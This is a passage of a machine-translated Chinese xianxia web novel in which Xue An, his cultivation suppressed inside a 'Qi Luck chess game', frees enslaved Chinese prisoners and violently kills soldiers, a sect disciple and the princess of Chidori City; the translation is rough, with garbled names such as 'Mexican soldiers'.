    And the chess pieces... are the heavens and ten thousand races!


    If he can win in this Qi Luck chess game, his clan can stand out among the heavens and thousands of clan, and his person can become the world''s overlord.


    Because of this, the bitter meditation and Leng Junxie and others will be dragged into the door of luck.


    Because they represent the various races of the heavens.


    After swallowing enough people, the gate of luck disappeared after a few flashes.


    The remaining strong men looked at each other, and they couldn''t help showing a look of horror, because they had no idea what had just happened.


    at the same time.


    In that luck chess game.


    Xue An slowly opened his eyes.


    There is muddy ground underneath, and the venomous sun above.


    There was a strange smell in the air.


    That is the damp odor left by the rain after the scorching sun evaporates, and it is mixed with a strong **** smell, which constitutes such a disgusting smell.


    Xue An frowned slightly.


    Because he found that his cultivation was actually suppressed by something.


    But fortunately, Physique and Divine Mind are still there.


    But where is this place?


    When Xue An was in doubt, he heard a sharp breaking sound behind him, and someone scolded loudly.


    "Asshole, who asked you to rest? Keep working on me!"


    Xue An turned sideways slightly and avoided the blow. Looking back, he saw a tall soldier wearing a black breastplate carrying a whip in his hand and glaring at him.


    At the same time, there was a hint of surprise on the soldier''s face, as if he could not believe that he had avoided his whip.


    "Oh, no wonder the kid dared to be so rampant, he could avoid Grandpa''s whip, but slaves are slaves. Grandpa will let you know what a lesson is today!" The soldier showed a murderous face.


    Because in his opinion, a slave dared to avoid his own whip. This is a huge blow to his prestige. If it is not handled properly, he will not be able to manage this group of prisoners in the future!


    Xue looked quietly.


    Although the cultivation base is temporarily unavailable, Xue An can crush this guy to death with just one finger of his incomparable physical strength.


    And what Xue An is most puzzled now is what place it is.


    Judging from the simple breastplate worn by this soldier, but with a symbol of solid armor, this place should be an ancient society with practitioners.


    Not far away are a group of naked slaves with a dull look.


    Xue An was interested in this weird place.


    The soldier saw that Xue An was silent, thinking that he was frightened and stupid, so he grinned and wanted to pull his whip off.


    At this moment, a thin young man in torn clothes ran over.


    "My lord, calm down, my brother has suffered a head injury, and he can''t remember many things! Please don''t be like him!"


    "Go away! What are you, dare to intercede in front of me!"


    As he said, the soldier drew his whip on the young man''s back. The tattered clothes were instantly torn off, and even the muddy skin was drawn with blood.


    The boy trembled in pain, but his face showed a more flattering smile.


    "My lord, calm down!"


    The soldier grinned and said, "Okay, since you want to save him, then I will kill you first!"


    After that, with a raised hand, the long whip was drawn toward the boy''s face like a poisonous snake.


    If this whip hits, the teenager will at least be blinded by one eye.


    Many slaves bowed their heads with unbearable expressions.


    But just as the soldier showed a tyrannical smile, a slender hand lightly grasped the whistling whip.

 Chapter 563： Yan Futi

    "You..." The soldier was surprised at first, and then he wanted to say something.


    Xue An didn''t bother to talk nonsense with him, so he pointed out.


    Snapped!


    After a crisp sound, the soldier''s head burst open like a rotten watermelon.


    The dead body fell to the ground.


    The audience was silent.


    After a while, there was an uproar of horror.


    "Oh my god, kill the Mexican soldiers, we all have to be buried along!" someone shouted in despair.


    Some people just burst into tears.


    The boy was also taken aback, but he quickly regained consciousness, and then said anxiously: "Brother, you run quickly, the farther you go, the better, fast!"


    Xue An looked at this young man, and there was a trace of memory in his mind.


    This is a very mysterious feeling.


    It''s as if there are pictures slowly unfolding in front of me.


    In a flash, Xue An knew the past here.


    This is an extremely vast secret place on the side, named Yan Futi.


    This Yan Fu mentions the vastness of the world, and Xue An is also slightly shocked.


    And the races living on this land are countless.


    The kingdoms and sects are also numerous.


    Xue An''s current location is located in a remote place in Yanfuti, which belongs to Thousand Birds City.


    His previous identity was a Chinese slave who was defeated and captured.


    The boy in front of him was called Xiao Shui, and he was a partner who had not known him for long, but because Xue An had taken care of him a lot before, Xiao Shui was very dependent on him.


    "It seems like crossing!" Xue An whispered to himself.


    But he can be sure that this is definitely not a crossing.


    Because this body is absolutely his own, even though his cultivation is temporarily suppressed, his physical skills and spiritual consciousness are still there.


    Even if this Qi Luck chess game can use part of the power of the law of heaven, it is impossible for Xue An to be reborn as someone else without knowing it.


    Not only is this Qi Luck chess game impossible, no one in the heavens and all realms can do it.


    Thinking of this, Xue An smiled slightly, "Run? If I run away, what will you do? Are you buried alive by the people of Chidori City?"


    Speaking of the back, Xue An''s voice contained a trace of murderous aura.


    Because he saw from the information he just received that many Chinese people were tortured but tortured.


    At the same time, he also knows that in this Yan Futi, it can be said that there are many masters in the ethnic group.


    However, the status of the Chinese is the lowest, and they will always be bullied and humiliated.


    This made Xue An''s heart increasingly murderous.


    Naturally, he would ignore Xiao Shui''s persuasion.


    Xiao Shui was also taken aback when he heard this.


    Xiao Shui has always trusted his brother very much.


    Because he has been silently helping himself since he knew it.


    But the old Ange old solid wood can even be said to be dull.


    Therefore, when he heard Xue An''s words, he couldn''t help being startled.


    Especially when he saw Xue An''s eyes, he was stunned for a long time.


    Because the eyes are as deep as the sea, one unconsciously wants to indulge in it.


    "But..." Xiao Shui trembled suddenly, waking up from Xue An''s eyes, and said hesitantly.


    Xue An waved his hand, turned his head to look not far away, and said lightly: "Needless to say! People are already here!"


    At this time, the death of the Ink Armored soldier has attracted the attention of the surrounding guards, and they rushed here.


    This makes the Chinese people restless, and almost everyone has a look of despair on their faces.


    Chidori City, no! It should be said that all ethnic groups in Yanfuti were extremely cruel to slaves.


    At every turn is to sit and bury alive.


    What''s more, people like myself are still the most bullied Chinese.


    Soon, a group of armored soldiers rushed over in order.


    Although it is only a small group of soldiers, the sturdy momentum formed is still not to be underestimated.


    "Who, kill me?" The leader of the team was a soldier with a red ribbon strapped on his shoulders. He seemed to be an officer, because his armor was better than ordinary soldiers.


    Hearing his questioning, all the Chinese people shivered, and some of them were timid and weakened.


    "Let me ask one more question, who killed my subordinate? The reporter, don''t cut it!" the person said coldly.


    These Chinese people looked at each other, a trace of firmness gradually appeared on the humiliated faces, but no one said anything.


    In the silence of the audience, the officer sneered, "Very well! Since no one admits it, then none of you can survive! Come here, sit down and cut!"


    Cut in half!


    More cruel punishment than burial alive.


    These Chinese people trembled together, and all bowed their heads in despair.


    Only Xiao Shui, a trace of anger and murderous aura appeared in her bright eyes.


    But the officer was obviously extremely sensitive. Although Xiao Shui''s murderous aura was extremely weak, he immediately felt it and turned his head and looked over.


    Xiao Shui hurriedly lowered his head to cover up.


    The officer put a sword in his left hand and walked slowly.


    "You, look up!"


    Xiao Shui trembled all over, but did not look up.


    A cruel smile appeared at the corner of the officer''s mouth, and he slowly drew his sword, but his eyes were aimed at Xiao Shui''s neck.


    The young man''s neck is so slender, it is cut off with a sword, and the splash of blood will definitely be beautiful!


    Thinking of that scene, the officer became excited.


    But at this moment, one hand was gently resting on his arrow, and the other hand gently pushed back the sword he was about to draw.


    "You... are the Thousand Birds?" Xue An asked lightly.


    The officer''s muscles tightened instantly.


    Because he never noticed when Xue An appeared next to him from beginning to end.


    "Don''t be nervous! Answer my question!"


    The officer looked ruthless and winked at the man behind Xue An.


    These subordinates were more well-trained than the ink armor soldier just now. Seeing the captain''s signal, they walked over with a rigorous formation and besieged Xue An.


    Many Chinese all retreated to the side in panic.


    Xiao Shui looked at ~www.novelhall.com in astonishment. Because of the short moment, his once dumb brother had already given him too many surprises.


    "Yes, I am a noble member of the Chidori tribe. You killed my men just now!" The officer said coldly.


    Xue An nodded.


    "Very well, you are considered a warrior, now let go, I will cut off your head and give you the treatment of a brave."


    Xue An smiled faintly upon hearing this, "You seem to have made a mistake!"


    "Huh?" The officer was taken aback, not understanding what Xue An meant.


    "That''s the one who is really going to die, it''s you!" Xue An said, putting his hand on the person''s shoulder and pointing it into a fist.


    This officer, who had a strong physique and was able to compete with the cultivation of heaven and man in the world, was directly smashed into his head by this punch.


    And Xue An''s other hand directly drew out the man''s saber, and slashed across the black armoured soldiers.


    Click.


    The upper bodies of these soldiers all flew out and fell to the ground.


    The lower body stood firmly on the ground.


    The pain and the fear of death easily defeated these plover soldiers, making them roar and struggle in the mud, and then gradually died.

 Chapter 564： With this physical body, it is still invincible in this world...

    All the Chinese people stared blankly.


    No one thought it would be such an ending.


    A small group of Mexican soldiers was killed, this incident could have caused all the Chinese to be overthrown.


    Therefore, at this moment, many people look at Xue An''s eyes are full of fear.


    Only Xiaoshui stood beside Xue An one step forward, and said in a deep voice, "Brother, what should I do next?"


    With so many Mexican soldiers dead, Chidori City will never give up.


    This is beyond doubt.


    Therefore, Xiaoshui''s head is spinning rapidly, thinking about countermeasures.


    How about fleeing into the mountains and coming out after the limelight?


    But the monsters are rampant in the mountains, and people like yourself go in as if a sheep enters a tiger''s mouth.


    How to do it?


    Xiao Shui is racking his brains and thinking.


    Just listen to Xue An indifferently: "What should I do?"


    "Huh?" Xiao Shui was taken aback, then pointed to the dead corpse underground, "Killing so many Ink Armored soldiers, the people of Chidori City will definitely come to chase after them! Should we take a break from the limelight?"


    Xue An shook his head, "No need!"


    "Then Ang, your plan is..." Xiao Shui asked.


    Xue An exhaled and looked to the east.


    There is the direction of Chidori City.


    "Kill the past and occupy Chidori City!"


    Xiaoshui, who was waiting for Xue An to come up with a countermeasure, almost didn''t cry when he heard that.


    "Angel, are you kidding me, right?"


    The voice behind Xiao Shui became lower and lower, because he found that Xue An''s expression was serious.


    Not only him, but also other Chinese people were surprised by it.


    In the end Xiao Shui smiled bitterly and said, "Angel, I don��t know why you suddenly became so powerful. Even a small group of Mexican soldiers were killed by you! But the Thousand Birds City is the favorite of the Thousand Birds King. The residence of a daughter, the city master is like a cloud, and is guarded by two ink armoured regiments."


    The words behind Xiao Shui did not finish, because the meaning was already obvious.


    No matter how good you are, can you still be the opponent of the two Mexican armour regiments?


    But Xue An smiled slightly, and then looked around all the Chinese in rags.


    When the officer asked who killed him just now, Xue An deliberately did not speak.


    Because he wanted to see how these Chinese people would respond.


    The result did not disappoint him.


    Despite all the humiliation, the backbone of these Chinese people has not broken.


    Maybe this is the Chinese character buried deep in the bones!


    When other ethnic groups were praying for God''s salvation in the flood, the Chinese dig the river by themselves.


    If the sky is broken, then refine the stones yourself to make up.


    When the disease is epidemic, do not ask for miracles, try your own medicine and cure yourself.


    If you drown in the East China Sea, fill up the East China Sea. If the entrance is blocked by mountains, start digging.


    Even the world is a nation that splits itself with an axe, and there are always things that cannot be profaned.


    Therefore, when Xue An looked at these bruised and tortured Chinese people with a somewhat numb expression, he couldn''t help but sigh.


    "Do you... want to go home?" Xue An said lightly.


    One sentence calmed everyone down.


    Xue An looked at these people and asked again, "Do you want to?"


    This sentence made many people''s eyes red, and some people began to inhale hard, seeming to be holding back tears.


    "I know you all want to go home! So I will take you home now!"


    Xue An''s words stunned all the Chinese people.


    Including Xiao Shui, they all looked straight at Xue An.


    Xue An stood with his hand in hand, looked at the looming Chidori City in the distance, and said lightly: "When you were captured in the first place, then I will lead you back to the same path! No matter what Chidori City or Myriad Birds City, as long as you dare to stop, you will kill you all the way! But now I will ask you... dare you?"


    The murderous aura in Xue An''s remarks was overflowing.


    After a moment of silence, these Chinese people all bent over, "As long as I can go home, I am willing to fight to the death!"


    "Very good!" Xue An nodded.


    And Xiao Shui has been staring at Xue An''s back in a daze, just like stupid.


    Is this still the wood-like brother back then?


    Why has it changed so much suddenly?


    Xue An looked into the distance with blinking eyes.


    He has roughly understood the rules of this Qiyun chess game at this moment.


    It should be to let people participate in the troubled times of Yan Futi, and the one who stands out in the end is the winner.


    Combined with the fact that one''s own cultivation base was suppressed, the other people who entered this secret realm should be the same.


    Then the most correct way now is to lead this group of Chinese prisoners of war to develop slowly, and finally fight for the supremacy of the world to win luck.


    This is the orthodox way.


    But this Qi Luck chess game was miscalculated.


    That is Xue An did not bother to enter this game at all.


    For Xue An, there is no such thing as the so-called entry of the game to be able to solve the game, and then to break the game in the end.


    Not even the chess player Xue An!


    What Xue An has to do is to directly pick up the chessboard and call it on the opponent''s face.


    The cultivation base was suppressed, but Xue An was confident that with this physical body, he could still be invincible in this world.


    So... he decided to go back!


    No matter who is blocking the road ahead!


    God blocks and kills gods, Buddha blocks and kills Buddha!


    Soon, these Chinese prisoners of war organized themselves.


    Although they have been abused, they are all from the army after all, so the team is still neat, but the face is thin and the muscles are all very weak.


    Xue An asked them to take out the food, wine and meat stored by the guards, and then began to bury the pot to cook, let all the people eat, and then set off.


    These Chinese people were sent here to build an inn, so it is not too far away from Chidori City, which is probably dozens of miles away.


    But because these Chinese people are all injured, they walk slowly.


    He waited until he was about to palm the lamp before he came to the city of Chidori.


    Xue An looked up at this city made of black basalt, smiled coldly, and stepped forward.


    "who!"


    The soldiers guarding the city wall are all elite so they reacted very quickly after hearing the abnormal noise.


    When Xue An led many Chinese people to appear under the torch, these guards were startled first, and then Qi Qi Qiqi relieved.


    "Haha, who should I be? I turned out to be helping a Chinese slave! What are you doing here so late?" the guard soldier asked with a sneer.


    Xiao Shui also gave up, shouting: "Naturally take your life and wait for your life, don''t you open the city gate and surrender?"


    The soldier was startled first, then laughed.


    "Where is the wild boy, he can really tell a joke, hehe, let go of the arrows! Shoot these guys to death!" The soldier opened his bow and set an arrow, aimed at Xue An and others and shot the arrow.


    For them, this is the same as games, for fun.


    What''s more, Xiao Shui dared to provoke.


    But Xue An laughed.


    Then he took a step forward and rushed to the wall, raising his fist and banging.


    "Is this guy here to be funny? This is the hardest basalt, and it has been refined with a secret method. The boulder can''t be broken through, he actually used his fist..."


    Before the voice fell, there was a loud noise.


    Under Xue An''s punch, the hard city wall was just like paper, and it was directly blasted halfway down.

 Chapter 565： Sword of Innocence

    Chidori was hosting a few young guests in the city lord''s mansion at this moment.


    Although the country of Chidori is vast, and the princess is really expensive, Chidori must remain humble when facing these young men and women.


    Because these people are all true disciples of Wuzuzong.


    Wuwangzong is a behemoth that actually controls the territory several times larger than the Chidori Kingdom.


    As true disciples of Wujuzong, these men and women are naturally distinguished.


    "Several brothers are here, let my little Chidori City shine! Come, I will toast you with this glass of wine!" Chidori said with a smile, holding up the glass.


    The few people from Wujuzong all looked at the man sitting in the middle.


    This is a man wearing a cyan Dao robe, with an elegant temperament, but a small sword is faintly spinning between his brows, adding a bit of evil spirit.


    The true biography of Wuzuong''s inner chamber, He Tianyuan!


    The best of the younger generation is also the big brother of this group.


    Seeing Qiandiao really raise his glass to toast, He Tianyuan smiled slightly and raised his glass, "Thank you!"


    Drink one cup.


    Chidori asked, "But I wonder why Brother Brother suddenly came to my little Chidori City?"


    He Tianyuan said lightly: "It''s just passing by by chance, nothing serious!"


    Chidori was really unhappy.


    A fool doesn''t believe this.


    But facing He Tianyuan, she could only bow her head.


    When I was about to speak, I heard a loud noise outside.


    Chidori frowned slightly, and just about to ask questions, an Ink Armored soldier ran in in a panic.


    "Your Royal Highness, someone broke into the city!"


    "How many soldiers came? But they were sent by neighboring countries?" Chidori asked in a cold voice, changing his face.


    Yan Futi had been in chaos for thousands of years, and the conquest of fortifications was too common, so Chidori didn''t really panic.


    The ink armoured soldier hesitated for a moment, and then said: "Back to the princess, the city breaker... only one person!"


    "What?" Chidori really exclaimed, and suddenly stood up.


    Not only was she surprised, even the expressions of He Tianyuan and others changed slightly.


    Break the city wall alone?


    This is too unbelievable!


    "Can you see it clearly? You lied about the military situation, but it''s going to be too late!" Chidori asked really shouting.


    The Black Armored soldier who reported the news trembled, "How dare your subordinates report falsely? There is really only one city breaker, and..."


    "And what?"


    "Moreover, this man is a Chinese man! He also led hundreds of Chinese prisoners of war!"


    This sentence is like a shock.


    Not only did Chidori really have a stunned face, but even the people who didn''t have a false sect were stunned.


    Then He Tianyuan shook his head and said, "Hehe, how is this possible! Even though there are so many Chinese people, they are all waste wood that cannot be cultivated. Even if there are amazing talents among them, they can only cultivate to the level of freedom and cannot survive. Enter, just rely on this point of cultivation to want to break the city?"


    He Tianyuan''s questioning is also the true voice of Qiandiao, she sneered: "It''s really a bunch of waste!"


    Then he smiled brightly at He Tianyuan, "Since Brother He is here, then follow the younger sister and me to see what''s going on?"


    He Tianyuan nodded, "Alright! I''m just trying to see what kind of supernatural Chinese is so powerful?"


    His words drew laughter from his juniors and younger sisters.


    Because no one takes this seriously.


    But when they walked out of the city lord''s mansion and saw the wall in the distance, their complexion changed.


    Because the original tall city wall did collapse for the most part.


    And you can hear the sound of killing from a distance.


    Chidori''s complexion sank and flew towards the city wall.


    He Tianyuan and others followed closely behind.


    now.


    Under the ruins of the city wall, a group of black-clad soldiers looked palely at Xue An in the distance.


    The corpses of the black armor soldiers were already lying on the ground, and the blood was even more disgusting.


    As elites in all wars, these black armor soldiers thought they were fearless, but today, they all tasted fear for the first time.


    Because this Chinese man is simply too powerful.


    No one is his enemy of One He, and even the captain was smashed into his head with a punch.


    But the attacks of his group of people could not even touch the corners of his clothes.


    This suppressed unilateral slaughter gave this group of Mexican soldiers who claim to be warriors to shrink back, and none of them dared to step forward.


    At this moment, Chidori was really waiting for someone to arrive.


    After seeing the corpse on the ground, Chidori looked really cold and looked at Xue An carefully for a long time, and then said solemnly: "Did you kill my soldier?"


    Xue An looked up and saw a woman with a white skin and an enchanting body standing in the air asking questions.


    Xue An knew that this should be the lord of Chidori City, the princess who was loved as a treasure by the Chidori King.


    He smiled, "Yes!"


    Seeing Xue An''s smile, Qiandiao really felt cold and took a step back subconsciously.


    Because this man''s smile seemed to contain infinite murderousness.


    Especially his eyes.


    When being watched, it was like being stared at by a prehistoric dragon.


    But after taking a step back, Chidori suddenly realized that he seemed to be afraid of this person like this, and he couldn''t help being even more angry.


    How could I be afraid of a Chinese man?


    In particular, this Chinese man does not have a cultivation base at first glance. At best, he is more powerful. Why should he be afraid?


    Thinking of this, Chidori really snorted, "Kill my men and break my city wall, what do you want?"


    But her voice just fell.


    Xue An laughed.


    "I am prisoner of my tribe, torturing and killing innocents, but now I am asking what I want?"


    After that, Xue An pointed to Chidori in mid-air, "Today, I am here to slaughter you this Chidori City!"


    "presumptuous!"


    Without waiting for Chidori to speak, a few figures rushed towards Xue An uncontrollably.


    These are all masters around Chidori.


    But Xue An didn''t even raise his eyelids, just raised his fists, and when these people rushed closer, it seemed like a gopher, and after a few bangs, they all smashed into the ground.


    Click.


    In the sour sound of fractures, these masters broke all bones, vomiting blood and died.


    This scene also shocked everyone. Including even He Tianyuan couldn''t help but sigh softly.


    Xue An smiled coldly, looked up, and his eyes were full of burning fighting spirit.


    "This is just an appetizer, now it''s up to you!"


    As he said, Xue An suddenly stomped his foot, and the ground sank into a big pit with a bang, and Xue An rushed over like a cannonball.


    Chidori exclaimed, "Brother He, help me!"


    He Tianyuan sneered, "Stand behind me and let me meet him!"


    Chidori really quickly hid behind He Tianyuan and at this moment Xue An has rushed to the front.


    Just in this moment that is not allowed.


    With a cold snort, He Tianyuan cut out a sword.


    "The sword of innocence!"


    A biting sword light came straight to Xue An.


    The timing of He Tianyuan was just right, and Xue An had already rushed to the front.


    This sword is extremely fast.


    Therefore, He Tianyuan got it right and Xue An certainly couldn''t avoid it!


    Unexpectedly, Xue An laughed, "Good job!"


    Then he rushed over without dodge.


    Seeing this scene, He Tianyuan and his junior brothers and sisters all showed triumphant smiles.


    To face the sword?


    This Chinese man is obviously looking for death!


    But the next scene left them dumbfounded.


    I saw that biting sword intent after touching Xue An''s body, it suddenly dissipated, not even a single hair was injured!


    He Tianyuan exclaimed: "How is this possible?"


    Xue Ansen smiled, "Just you are also worthy of being called a sword?"

 Chapter 566： Killer...Chinese Xue An!

    After speaking, Xue An blasted out with a punch.


    In a hurry, He Tianyuan didn''t have time to dodge, and was smashed away several tens of feet away by this fist. After he was set up, he spits out a mouthful of blood.


    Everyone looked at this scene stupidly, especially Chidori.


    She couldn''t believe her eyes.


    Wuwangzong''s inner room really passed on He Tianyuan, but he was vomited by this Chinese man with a punch?


    This is simply incredible!


    At this moment, He Tianyuan wiped the blood from the corner of his mouth and looked at Xue An uncertainly.


    He was also full of doubts at the moment.


    This Chinese man obviously does not have the slightest fluctuation in his cultivation, but why does he have such a strong physical strength?


    "Wuwangzong''s inner room really passed on He Tianyuan, dare to ask your Excellency who is? Why did you attack Chidori City?" He Tianyuan asked in a deep voice.


    The three words Wuwangzong caused a commotion among Xiaoshui and all the Chinese people.


    "God, it''s Wuzuzong!"


    "And it''s the true story inside the room!"


    These exclamations came one after another.


    It''s not that these people have never seen the world. It is true that this Wujuzong is considered to be the leading martial art within a radius of thousands of miles. There are many masters under it, and the suzerain is even known as Jinxian Invincible.


    Xue An didn''t have any expressions, and just said indifferently: "I don''t care what is arrogant or arrogant, this Thousand Bird City, today I am dead! No one can keep it, I said!"


    This domineering remark made He Tianyuan snorted angrily.


    "Your Excellency is so big, don''t think that it can hurt me! You know that in this land, you don''t have the turn to speak the humble Chinese!"


    Xue An''s face grew colder, "What did you just say?"


    He Tianyuan sneered, "I admit that your Excellency Tianzong wizard has such a terrifying strength by the power of the physical body, but this world is respected by cultivation, and you are no more than a martial artist! If you listen to my advice, now Give up and surrender to me, I may forgive you Chinese from not dying! Otherwise..."


    Xue Anhao took out his ears in his spare time and said lightly: "Otherwise?"


    "Otherwise, I don''t mind if I don''t mind slaughtering all the Chinese within a radius of thousands of miles!" He Tianyuan said proudly.


    Chidori couldn''t help but smile and said: "Brother He is right, this land is not the turn of you Chinese to speak! If you kneel down and beg for mercy now, it will be for your physical strength, I can even make you a black armor captain!"


    Chidori really took a fancy to Xue An''s physical strength alone, and wanted to attract them first.


    Xue An looked at them quietly with his arms folded, and then smiled.


    The smile was full of murderous intent.


    "This piece of land is not my Chinese turn to speak? Very good. With these words alone, there is no need for your group to exist!"


    He Tianyuan snorted coldly, just about to speak.


    Xue An said indifferently: "If you can block my punch, you should be wearing something like a body armor!"


    He Tianyuan was startled.


    As Xue An said, he is indeed wearing a body armor.


    Because of this, he was only slightly injured just now.


    "Then take another punch now and see if it is my fist or your armor!" Xue An raised his fist, suddenly rushed to He Tianyuan, and then blasted out.


    He Tianyuan roared, "I''m looking for death!"


    He thought that Xue An��s Tao had just been taken carelessly, so he has been careful this time. After seeing Xue An rushing in, his sword intent was full, and the small sword spinning between his brows suddenly became bigger, and then he held it. With the sword in hand, he must fight Xue An.


    It''s just that these are just his wishful thinking.


    Because Xue An''s speed was too fast, so fast that he could not react at all, he was hit by Xue An.


    There was a muffled sound.


    He Tianyuan was like a kite with a broken line. He was smashed and flew out, and then crashed to the ground, vomiting blood.


    At this time, He Tianyuan''s outer clothes had been torn open, revealing the golden armor inside.


    It''s just that this treasure armor is also a bit miserable now, with all crisscross cracks on it.


    If Xue An''s first punch was shocking, then this punch was shocking.


    He Tianyuan looked at Xue An with horror.


    There was a stormy sea in my heart.


    how is this possible!


    How could this man smash the treasure made by his master father with only his fist?


    At this time, Xue An stood in the air, overlooking He Tianyuan on the ground, and said lightly: "Forgot to tell you, the one who killed you, the Chinese... Xue An!"


    "No, you can''t kill me, I''m the true disciple of Wuzuzong''s inner chamber, if you kill me, Wuzuzong will..." He Tianyuan trembled and screamed in surprise.


    Because he felt the murderous aura on Xue An''s body as if it were true.


    The following words came to an abrupt end, because Xue An''s finger popped out, and a gust of strong wind flew through the air, directly penetrating He Tianyuan''s head.


    He Tianyuan is dead!


    He had his eyes wide open when he died, as if he didn''t believe that Xue An really dared to kill himself.


    Then a wisp of soul floated out of He Tianyuan''s body, trying to escape.


    Xue An''s endless spiritual thoughts unfolded and directly swallowed He Tianyuan''s spiritual soul.


    Since then, the last trace of He Tianyuan in the world has also been obliterated.


    Xue An turned to look at Chidori, who was already scared and silly, and smiled sensibly, "Now, it''s your turn!"


    Chidori trembled all over, turned and ran.


    The disciples of Wuwangzong who followed He Tianyuan roared and rushed forward to try to avenge He Tianyuan.


    Xue An killed all these guys with one hand At this moment, Chidori has really gone far.


    In addition, many masters from the Mexican Armored Corps rushed up from behind, trying to stop Xue An.


    Xue An just smiled coldly, "This is just the beginning! You have done to the Chinese, I will even ask for money back!"


    After all, Xue An rushed directly into the dense army, and rushed out from the other side in an instant, and went straight to Chidori, who was fleeing in the distance.


    And after these ink armour regiments froze for a while, they collapsed and countless dead bodies fell to the ground.


    This shocking scene made many people feel terrified.


    No one knows what method Xue An used just now, slaughtering so many ink armor soldiers in the blink of an eye.


    At this time Xue An had already arrived first, and rushed behind Chidori.


    "Do you still want to run?" Xue An asked after chasing after him.


    Chidori really let out a scream and suddenly turned around to get rid of Xue An.


    Xue An just stretched out his hand and grabbed Chidori''s hair and threw it directly onto the ground from mid-air.


    Chidori really got up and wanted to run, but Xue An stepped on her beautiful cheek, and then said lightly: "Don''t move, otherwise your head will explode in the next second!"

 Chapter 567： Do you still keep the New Year without killing?

    Chidori really felt that his head had been stepped into the ground, and this unprecedented sense of humiliation made Chidori really crazy.


    But she didn''t dare not listen to Xue An''s words.


    Because she could feel Xue An''s murderous aura that was so strong that it was almost the essence.


    She had no doubt that if she dared not listen, then this man would definitely smash her head without hesitation.


    At this time, she could not take care of anything to survive.


    "My lord is forgiving, the little girl didn''t mean to offend you just now. Everything is done by someone who has no misconduct. Please don''t kill me! As long as you are willing to let me go, my father will give you countless wealth!" Chidori Zhen trembled, and deliberately revealed his slender waist.


    She has confidence in her figure and wants to please Xue An in this way.


    But Xue An didn''t even look at it, and said faintly: "What''s the matter with those Chinese?"


    "Sir, it was sent by my father! It said it was taken captive from a neighboring country! And I really don''t know that someone abused these prisoners of war, please forgive me!" Chidori begged.


    Xue An nodded, "I actually don''t want to kill women!"


    Chidori heard this and secretly breathed a sigh of relief.


    Damn, after I go out, I must find a way to get back tenfold for what happened today! Chidori was really cruel in his heart, but on the surface he had a pitiful expression.


    "But now I think it''s good to kill a few! Because I said, you people, there is no need to exist!" Xue An said, pressing his feet.


    Chidori really felt that there was a big mountain on his head, and it was getting heavier and heavier, and she couldn''t help but scream in horror.


    "No...you can''t kill me! If you kill me, my father will never let you go. There is also Wuwangzong. If you kill the people of Wuwangzong, they will definitely not let you go!" Chidori really saw that he could not beg for mercy and began to threaten.


    Xue An raised the corners of his mouth when he heard the words, revealing a cold smile.


    "Don''t worry, including your father, these people... none of them can escape!"


    As he said, Xue An pressed his feet and heard a click.


    Chidori''s head was really crushed.


    Blood mingled with his brain, and his beautiful face became extremely hideous at this moment.


    Then a group of gray brilliance floated from the body.


    Xue An waved his hand and the brilliance flew into his hands.


    Inside was a horrified, shrunken version of Chidori, who worshipped Xue An as if begging for mercy.


    Xue An clenched his fist blankly and crushed the soul.


    At this point, this thousand birds really flew away and completely perished.


    Wait for Xue An to return to Chidori City.


    Seeing him returning safely, Xiao Shui couldn''t help taking a breath, and hurriedly greeted him, "Brother! Did you catch it?"


    Xue An nodded.


    "Where is that person?" Xiao Shui''s eyes lit up, and he quickly asked.


    "I killed it!" Xue An said lightly.


    "Kill...Kill?" Xiao Shui was dumbfounded.


    "If you don''t kill such a person, can you still keep it for the New Year?"


    "But...but..." Xiao Shui was a little panicked.


    He originally thought that Xue An would really capture this thousand birds, and then it would be very advantageous to negotiate conditions with the thousand birds through this hostage.


    Unexpectedly, Xue An actually killed Chidori directly.


    At this time, the remaining Chinese had rescued all the Chinese slaves in Chidori City.


    Seeing these Chinese with a dull expression and not knowing how much suffering he had suffered, Xue An''s murderous aura grew more and more in his heart.


    When he returned to the original City Lord''s Mansion, Xiao Shui walked over with some hesitation, "Brother, what do you plan to do next?"


    "What do you mean?" Xue An glanced at the boy.


    Xiao Shui gritted his teeth, "You killed the people of Wuzuzong today, and you also killed Chidori. This way, it will definitely provoke two kinds of revenge! I think the best way now is to bring enough The food, grass and gold and silver of the country will leave here first!"


    Xue looked at Xiao Shui quietly, until he lowered his head embarrassedly, and then smiled faintly.


    "You are right! But now the Chidori Kingdom and Wuzuong will not have time to retaliate!"


    "Huh? Why?"


    "Because they are planning another thing, they can''t take care of it!" Xue An said lightly.


    After he killed He Tianyuan''s soul, he got a lot of useful information from his memory.


    Among them is their purpose of coming to this Thousand Bird City.


    "True Immortal Relic? Haha... it sounds really tempting! No wonder it can attract so many people to watch."


    Xue An whispered to himself, and then said to Xiaoshui: "You have led everyone to stay in this Thousand Birds City these days, so you can rest and recuperate!"


    "Brother, what are you going to do?"


    "Go and join in the fun! Take a look at the amazing people in this northwestern land!"


    In the next few days, Xue An cleaned up the remnants of the city.


    Because of Xue An''s shocking methods that day, the people in the city have become honest, and dare not make the slightest change.


    At the same time, Xue An also remodeled the city and made a few simpler magic circles.


    Although simple, there is no problem with resisting one or two Mexican armour regiments.


    At the same time, Xue An also wanted to teach Xiaoshui some legal decisions.


    But he found that Xiao Shui and the Chinese people''s energy veins were very weak, or even none.


    If there is no vitality, how to talk about cultivation.


    No wonder there are almost no cultivators among the entire Chinese.


    But why does this happen?


    Xue An had some doubts in his mind.


    But since you can''t practice the exercises, let''s teach them some physical skills first!


    Xue An directly instilled Xiaoshui a complete set of physical training methods through divine thoughts, and gave several methods of battle formation!


    These things can quickly transform these Chinese into a combative army.


    Although Xiao Shui didn''t understand why this once dumb Ang suddenly became so powerful!


    But he knew the value of these things Xue An gave him, so he was ecstatic and started training immediately.


    I have to say that Xiao Shui is a genius in arranging troops and handling affairs.


    The huge Chidori City is well managed by it.


    After finishing all this, Xue An quietly left in the evening of the day.


    And the destination of this trip is Bafang Mountain, a thousand miles away from Chidori City!


    at the same time.


    In the capital of Thousand Birds, in a towering imperial palace, there is a room dedicated to various tablets.


    This is the most important place for the royal family of the Chidori Kingdom.


    Ancestral land.


    When Chidori''s spirits and spirits were all gone, the wooden sign that represented her burned to ashes without fire.


    The priest in charge of the ancestral land was shocked upon seeing this.


    "His Royal Highness has suffered an accident, and even the soul has never returned! Go and report to the monarch!"


    "Yes!"


    Soon, Qiandiao Haoyan, the monarch of the Chidori Kingdom, learned the news.


    Can not help but furious!


    "Come on, send soldiers, I will kill my daughter with a thousand swords!" Qiandiao Haoyan roared.


    "The king calms down, now is not a good time to deal with this matter! You forgot about Bafang Mountain..." The national teacher next to him hurried over to persuade him.


    Qiandiao Haoyan''s face condensed when he heard the words, and finally he sighed helplessly, gritted his teeth and said, "When this matter is finished, I must go out and tear up the person who killed my daughter!"

